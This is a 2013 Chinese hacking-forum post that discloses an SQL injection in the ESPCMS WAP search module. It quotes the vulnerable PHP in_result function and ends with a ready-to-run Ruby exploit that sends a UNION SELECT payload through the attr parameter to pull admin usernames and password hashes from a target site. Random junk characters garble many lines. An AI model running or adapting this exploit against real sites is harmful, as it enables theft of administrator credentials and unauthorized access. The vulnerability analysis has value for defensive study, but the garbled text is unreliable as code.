找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2118|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节+ Y7 h: ]# P5 K4 N1 |
0×2 PoC
3 u; `8 U, [4 i8 ^4 x* z# o  v( B  W7 k3 T! s6 o! A: R
4 E; ~7 C$ P+ d

5 F  I+ S6 A6 ?& u0×0 漏洞概述! _) p5 F5 h' z* {  g7 s

3 m! H( j6 f; r3 e1 @; i易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。" V4 H9 q0 @* J4 j* r6 S3 g- h
其在处理传入的参数时考虑不严谨导致SQL注入发生
( W$ H! l7 b7 B# h% @9 q
- S. Y8 T2 ^0 A5 g
  j. s  R  A* g8 l( [/ u/ S, Q0×1 漏洞细节1 m# `! G9 B1 y* g% S

* P% \9 ^; h5 z变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
" [* q$ |! a& j8 C9 P0 b# h4 l正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。  R! E( Z! ~6 l* Z
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入9 c- x& o  j# r3 ^4 _

- \: h0 H9 g) v& p在/interface/3gwap_search.php文件的in_result函数中:
1 M% _/ p% c8 }8 L* b& ?  `0 ?% J( t

: P0 g. U; }- m" i
" h2 r( b5 V$ s+ T       function in_result() {
6 x' [9 @' b( h5 w- e; N: K            ... ... ... ... ... ... ... ... ...0 t0 ~5 q6 y9 L2 ^9 X: m/ I
            $urlcode = $_SERVER[ 'QUERY_STRING '];( C# F- w' B1 ~* k# B6 n* o
            parse_str(html_entity_decode($urlcode), $output);
8 y& n- ^3 \7 I- s" b) C
2 }' a: P! Z, f& a- r' }            ... ... ... ... ... ... ... ... ...! k7 V. E8 C* U! Y3 I* ?
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
+ V" c" _5 l- v# V+ K* W$ h: _# A' g, w6 O. f
                  $db_table = db_prefix . 'model_att';
: G7 r. H2 J  ~* K$ W! P; s" l2 H' }) ]& Q$ B* l; K( ~
                   foreach ($output['attr' ] as $key => $value) {
; A# a3 a/ [! E7 C                         if ($value) {: A' D- a' H- s: ?* t3 y- ?8 [

# x- p& f  S' f, g8 u: d                              $key = addslashes($key);
. m; V4 {. i! E* I  r, b                              $key = $this-> fun->inputcodetrim($key);
) w, m1 ~/ I% A) K% Q                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";, Q% d  d" b: ~& @$ T2 B
                              $countnum = $this->db_numrows($db_table, $db_att_where);5 t* [+ j, t0 j( s0 i4 _; P. `, z5 ]
                               if ($countnum > 0) {& f# W" o8 m; h' n1 X
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) A# v. f* S- g2 s" t7 K# _1 v
                              }
; @7 |" h7 G1 }3 b3 O" S                        }
, O" ~+ h7 X* k) c; l                  }" h, G, G6 c" @! y  |  b; T
            }6 l( Q, }% I- g4 Z; D- i8 P! K
            if (!empty ($keyword) && empty($keyname)) {
8 t0 P! w% B+ r                  $keyname = 'title';% R; I  A- U6 ~- O4 m! A& r
                  $db_where.= " AND a.title like '%$keyword%'" ;+ R' I: J0 b4 i; c
            } elseif (!empty ($keyword) && !empty($keyname)) {, P! f: ^  ]% X! W% y1 \3 k
                  $db_where.= " AND $keyname like '% $keyword%'";
, B3 p2 o' ~  e( Z* F, g0 P6 J! x            }
  `; ~+ j8 F& i            $pagemax = 15;
) M+ Y- t5 U5 L( N) o3 t$ o) i7 @7 O' c
            $pagesylte = 1;  w, Y9 U1 w" Y; f0 P

. @3 X5 J0 t5 [! _: |& m             if ($countnum > 0) {
+ w  l* W* T( ^! n2 U/ B% x6 v( U& n, n) f
                  $numpage = ceil($countnum / $pagemax);( b- D$ N" Q( Y# n0 w, A
            } else {. [7 c( E9 Y: T) L8 W7 t1 y, F2 r
                  $numpage = 1;; x" d( W6 P/ O: v8 \, V
            }" }" P8 W% @, T# t7 q3 i$ I
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
# X' T& {  W' i0 B* c' q6 c            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);$ G: p- i8 ]* h& Z4 z" `0 `) Y8 L
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
$ ?: {  _0 E8 L% b: N% }) i            ... ... ... ... ... ... ... ... ...+ c) @6 s5 P* M; s7 h& H6 b
      }
. u* [% O0 O( i, l9 G; h% a9 L5 l, |0 h7 Z+ L- \
/ a* ~8 Z: E9 ~7 K. t
0×2 PoC
7 w4 h) D6 p5 D' {2 Z2 o4 ~2 A( @
3 k9 a! a1 n  q; a9 w/ E; H2 K' ?5 S  e8 V0 t
) y! s2 F! d4 w$ \2 O% [
require "net/http"4 D4 S2 F5 F& f; X$ P6 s) \
0 Q/ N$ o! |# w! S: e, D
def request(method, url)
( }0 [" S3 h. r$ \    if method.eql?("get")
3 T: L% J3 \6 c6 B: K3 c# H        uri = URI.parse(url)
# |- y4 S6 P6 e) ?' Y# K% V5 o        http = Net::HTTP.new(uri.host, uri.port)
* u. q, [% y1 |1 q6 q9 }        response = http.request(Net::HTTP::Get.new(uri.request_uri))) I  @) Q! w0 `8 [! ~: s
        return response) O: S5 G, `; w
    end5 w+ b( t' B& |; i) F* F
end
# U6 n/ k+ E# ?1 T$ c3 m  b) X+ H  Z) b7 a' T! k
doc =<<HERE
# X8 j# T7 {% V0 p* l# ~/ v; Y-------------------------------------------------------
& {+ q" t: h3 S7 n- @( hEspcms Injection Exploit
& j5 a0 ~4 o" l8 F: rAuthor:ztz* J9 ?4 c7 I9 ?
Blog:http://ztz.fuzzexp.org/( o. H0 q8 w# x' |& L1 u
-------------------------------------------------------
" ~% \" R4 @9 @2 v) P; j8 Z2 N% f: H1 G( U2 ]; `+ j- s. m
HERE
- H! ]# l7 A2 a5 P, @- y! o1 I2 c1 |! M, }* @3 x+ h$ b
usage =<<HERE; {7 O. D  L5 F1 |, y( Y
Usage:         ruby #{$0} host port path
4 z1 ]  m& Y" }example:     ruby #{$0} www.target.com 80 /
' W& x" Q/ S; I( i- x( t6 @HERE
% m( T; u' R$ [4 ]
4 j# |6 N5 N( O9 C1 zputs doc
# T6 g% z1 }4 P/ T! b& Sif ARGV.length < 3
' W, H% l/ u5 u, P* k9 ^1 k    puts usage
  o+ ]3 }# B- M7 I6 w* gelse
) ~, P8 R% V2 }' L9 g- O/ X    $host = ARGV[0]
1 ~! F* O: f. K& \& }" L    $port = ARGV[1]2 O+ @4 V; C* a' {: V
    $path = ARGV[2]9 B4 _5 u: }9 [  x
* ?" N, c2 L1 s/ k
    puts "
  • send request..."8 s, N" F8 ^; X( ?
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&' H& W  a2 w% B3 l
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    1 \/ y# y+ |+ W6 B  p, W,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27: d  D: }0 @; `/ r
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    / X9 n* b& k5 T! z6 ~) B  i    response = request("get", url); `) i& ]' g7 Y4 \
        result = response.body.scan(/\w+&\w{32}/)8 w# ]$ y+ A' V
        puts result
    " H; T; s1 p( [! d$ _end6 n, f0 R8 B  B8 C0 W9 Y
    / K, s' y1 Y/ F9 X5 O
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表